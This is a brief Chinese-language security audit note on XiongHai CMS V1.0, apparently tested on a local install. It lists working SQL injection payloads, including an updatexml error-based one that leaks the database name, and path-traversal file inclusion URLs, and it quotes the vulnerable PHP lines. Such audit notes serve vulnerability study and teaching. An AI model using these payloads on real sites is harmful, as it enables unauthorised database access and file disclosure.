熊海CMS V1.0审计
熊海CMS V1.0审计
vscode+phpsuty
SQL注入
http://127.0.0.1/xhcms/admin/?r=login
1 | user=admin*&password=123456&login=yes |
前台文件包含
http://127.0.0.1/xhcms/index.php?r=../../phpinfo
1 | $file=addslashes($_GET['r']); //接收文件名 |
后台文件包含
http://127.0.0.1/xhcms/admin/index.php?r=../../../phpinfo
1 | $file=addslashes($_GET['r']); //接收文件名 |
前台注入
1 | http://127.0.0.1/xhcms/?r=content&cid=1 or updatexml(1,concat(0x7e,(select(database())),0x7e),1)# |
addslashes 防SQL注入 转义单引号 ‘ '
1 | $query = "UPDATE content SET hit = hit+1 WHERE id=$id"; //这里没用到单引号闭合 所以存在SQL注入 |